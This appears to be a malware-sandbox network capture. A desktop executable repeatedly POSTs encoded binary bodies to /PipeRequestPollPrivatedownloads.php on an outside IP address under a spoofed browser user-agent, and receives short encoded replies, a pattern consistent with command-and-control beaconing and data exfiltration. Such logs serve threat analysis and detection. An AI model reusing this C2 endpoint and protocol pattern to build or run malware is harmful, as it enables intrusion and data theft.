Sep 1, 2024 23:57:25.813579082 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:26.169692993 CEST	1040	OUT	Data Raw: 50 5c 5d 58 5d 5e 5c 52 5b 5b 54 51 5b 56 56 52 57 51 5a 49 50 5d 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]X]^\R[[TQ[VVRWQZIP]QX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_2:^"1#,91V48--]1,S(1?%[)%/<;9G$#P/(
Sep 1, 2024 23:57:26.482068062 CEST	1040	OUT	Data Raw: 50 5c 5d 58 5d 5e 5c 52 5b 5b 54 51 5b 56 56 52 57 51 5a 49 50 5d 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]X]^\R[[TQ[VVRWQZIP]QX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_2:^"1#,91V48--]1,S(1?%[)%/<;9G$#P/(
Sep 1, 2024 23:57:26.510116100 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:26.512876987 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49747	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:26.646267891 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:27.002846003 CEST	1040	OUT	Data Raw: 50 5b 5d 5c 58 5d 59 55 5b 5b 54 51 5b 5d 56 56 57 5a 5a 41 50 53 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[]\X]YU[[TQ[]VVWZZAPSQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ '0!"Y=%$E9!S"6?;=+&-?W71>%[3</X(9G$#P/
Sep 1, 2024 23:57:27.218739986 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:27.348570108 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49748	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:27.349112988 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:27.700934887 CEST	1756	OUT	Data Raw: 50 5c 5d 5f 58 52 5c 54 5b 5b 54 51 5b 51 56 57 57 51 5a 47 50 5e 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]_XR\T[[TQ[QVWWQZGP^QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_'0!<"V'! D,:1T 5'-.+1.3(1Z2=%/,)+9G$#P/4
Sep 1, 2024 23:57:27.952130079 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:28.084583998 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 1d 31 00 0d 1f 25 2c 22 53 26 0f 37 0c 2a 0e 24 09 2e 00 0a 03 20 33 3b 0d 2d 3f 36 5d 35 30 3a 08 3f 07 2c 12 3c 5b 3b 0f 35 1d 20 51 04 12 22 03 36 03 0f 19 3a 05 2d 5e 26 0b 3f 11 21 0e 3a 58 28 14 03 13 22 39 3d 07 25 0a 3d 5a 3f 12 0e 54 2d 06 24 41 29 59 25 0d 22 28 21 56 0f 12 26 0a 27 39 33 12 30 3c 2b 0f 24 59 39 17 36 00 3c 03 34 3a 33 57 25 33 07 04 3c 01 01 5a 3f 5b 25 59 33 3c 0c 5d 24 2e 33 57 24 2c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "1%,"S&7*$. 3;-?6]50:?,<[;5 Q"6:-^&?!:X("9=%=Z?T-$A)Y%"(!V&'930<+$Y96<4:3W%3<Z?[%Y3<]$.3W$,#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49749	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:27.472430944 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:27.826045036 CEST	1040	OUT	Data Raw: 55 5c 5d 5f 5d 5b 59 57 5b 5b 54 51 5b 50 56 54 57 5b 5a 48 50 58 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\]_][YW[[TQ[PVTW[ZHPXQ\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^%0%5?:U%"4: 5W/-2=??2=-\$,#\?9G$#P/0
Sep 1, 2024 23:57:28.048757076 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:28.177772999 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49750	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:28.298474073 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:28.654210091 CEST	1040	OUT	Data Raw: 55 50 58 5a 5d 5f 5c 53 5b 5b 54 51 5b 5c 56 55 57 50 5a 40 50 5a 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UPXZ]_\S[[TQ[\VUWPZ@PZQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#139#?:%.:!V#C<;>8%$T+(\1-3?3<;9G$#P/
Sep 1, 2024 23:57:28.966574907 CEST	1040	OUT	Data Raw: 55 50 58 5a 5d 5f 5c 53 5b 5b 54 51 5b 5c 56 55 57 50 5a 40 50 5a 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UPXZ]_\S[[TQ[\VUWPZ@PZQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#139#?:%.:!V#C<;>8%$T+(\1-3?3<;9G$#P/
Sep 1, 2024 23:57:29.476643085 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:29.477201939 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:29.640853882 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49751	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:29.888983965 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:30.247823954 CEST	1040	OUT	Data Raw: 50 5d 58 5a 58 5d 59 54 5b 5b 54 51 5b 50 56 55 57 5b 5a 44 50 5d 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P]XZX]YT[[TQ[PVUW[ZDP]QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %%"Y2T12 9:)V4&$T--(\%='(W(%!3?8<;9G$#P/0
Sep 1, 2024 23:57:30.468794107 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:30.594325066 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49752	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:30.720406055 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:31.075974941 CEST	1040	OUT	Data Raw: 55 5b 5d 5b 5d 58 59 54 5b 5b 54 51 5b 5d 56 55 57 50 5a 44 50 5e 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[][]XYT[[TQ[]VUWPZDP^Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#%2_#?&P&2.*R"&+,&8R)! [1>&'<+9G$#P/
Sep 1, 2024 23:57:31.301747084 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:31.431006908 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49753	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:31.564615011 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:31.919739962 CEST	1040	OUT	Data Raw: 55 58 58 5b 58 5c 59 51 5b 5b 54 51 5b 54 56 5f 57 55 5a 49 50 53 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UXX[X\YQ[[TQ[TV_WUZIPSQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_1315%2#.9S"5/-=72+<"/250</<+9G$#P/
Sep 1, 2024 23:57:32.170978069 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:32.302126884 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49754	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:32.580557108 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:32.935288906 CEST	1040	OUT	Data Raw: 55 5e 58 5b 58 5a 5c 50 5b 5b 54 51 5b 54 56 50 57 55 5a 48 50 5c 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^X[XZ\P[[TQ[TVPWUZHP\QY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#2#-6&%.#&$;&=T(([2[%/?;9G$#P/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49755	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:33.097305059 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:33.451066971 CEST	1756	OUT	Data Raw: 50 58 5d 5c 5d 58 5c 57 5b 5b 54 51 5b 50 56 54 57 50 5a 40 50 58 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PX]\]X\W[[TQ[PVTWPZ@PXQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ ' >X!:'2+-9%U7&'/4]2U+!0$=-Z3+Y++9G$#P/0
Sep 1, 2024 23:57:33.666609049 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:33.792115927 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:33 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 5b 31 2e 23 55 25 3f 36 54 26 22 34 56 3d 09 2c 44 2d 3d 2b 5e 23 23 28 1e 3b 12 0c 58 36 0a 3a 42 28 00 23 00 28 5b 2c 1c 35 37 20 51 04 12 22 03 22 3e 31 1b 3a 3b 21 59 25 32 33 1e 20 20 3a 11 3f 04 32 0e 21 04 29 02 26 33 35 5a 2b 02 3c 56 3a 38 33 1b 3e 3f 29 0f 23 28 21 56 0f 12 25 51 32 29 2c 01 24 12 0d 09 24 2c 22 00 21 10 28 05 21 39 01 18 27 33 08 59 2b 3c 27 13 29 2e 3e 06 27 2c 29 03 27 2d 23 56 30 16 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "[1.#U%?6T&"4V=,D-=+^##(;X6:B(#([,57 Q"">1:;!Y%23 :?2!)&35Z+<V:83>?)#(!V%Q2),$$,"!(!9'3Y+<').>',)'-#V0#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49756	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:33.220278978 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:33.575956106 CEST	1032	OUT	Data Raw: 55 5a 58 5c 58 5e 59 51 5b 5b 54 51 5b 55 56 53 57 57 5a 40 50 53 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZX\X^YQ[[TQ[UVSWWZ@PSQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ ' !?>21'-.#&(T,=%W+]%-[0?[+9G$#P/0
Sep 1, 2024 23:57:33.819273949 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:33.950225115 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49757	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:34.080041885 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:34.435285091 CEST	1040	OUT	Data Raw: 55 5d 58 5e 5d 5c 59 51 5b 5b 54 51 5b 52 56 5f 57 5a 5a 48 50 5e 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]X^]\YQ[[TQ[RV_WZZHP^QS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#%0-6/%289#R8>4X$=(W(\%:'#?9G$#P/
Sep 1, 2024 23:57:34.671128035 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:34.800438881 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49758	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:34.922964096 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:35.279268980 CEST	1040	OUT	Data Raw: 55 5e 58 5c 58 58 59 5f 5b 5b 54 51 5b 5c 56 50 57 51 5a 48 50 5b 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^X\XXY_[[TQ[\VPWQZHP[QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 2!?21 C->7%$,\%<?12[9\$;Z)+9G$#P/
Sep 1, 2024 23:57:35.496210098 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:35.624691963 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49759	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:35.752084970 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
